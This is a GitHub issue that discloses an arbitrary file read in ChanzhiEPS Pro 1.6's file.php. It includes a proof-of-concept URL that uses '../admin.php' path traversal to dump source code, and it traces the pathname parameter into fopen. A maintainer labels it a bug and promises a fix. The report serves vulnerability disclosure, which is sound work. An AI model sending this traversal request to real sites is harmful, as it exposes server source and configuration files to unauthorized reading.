Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Front desk arbitrary file reading V 1.6 #1

Open
tom0li opened this issue Apr 16, 2018 · 1 comment
Open

Front desk arbitrary file reading V 1.6 #1

tom0li opened this issue Apr 16, 2018 · 1 comment
Labels

Comments

@tom0li
Copy link

tom0li commented Apr 16, 2018

download url http://dl.cnezsoft.com/chanzhi/pro/1.6/ioncube/chanzhiPro1.6.php5.zip
poc http://127.0.0.1/chanzhi/chanzhieps/www/file.php?pathname=../admin.php&t=txt&o=source
vul file in E:\PHPStudy\PHPTutorial\WWW\chanzhi\chanzhieps\www\file.php
Controllable parameters $objectType ,$pathname ,$extension,
Final execution is $handle = fopen($filePath, "r");
while $filePath = $realPath;
$realPath = $savePath . $pathname;
$savePath = $dataRoot;
$dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/';
result fopen($filePath, "r");

@ysicing ysicing added the bug label Apr 16, 2018
@ysicing
Copy link

ysicing commented Apr 16, 2018

@tom0li Thank you.We'll fix this issue later.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants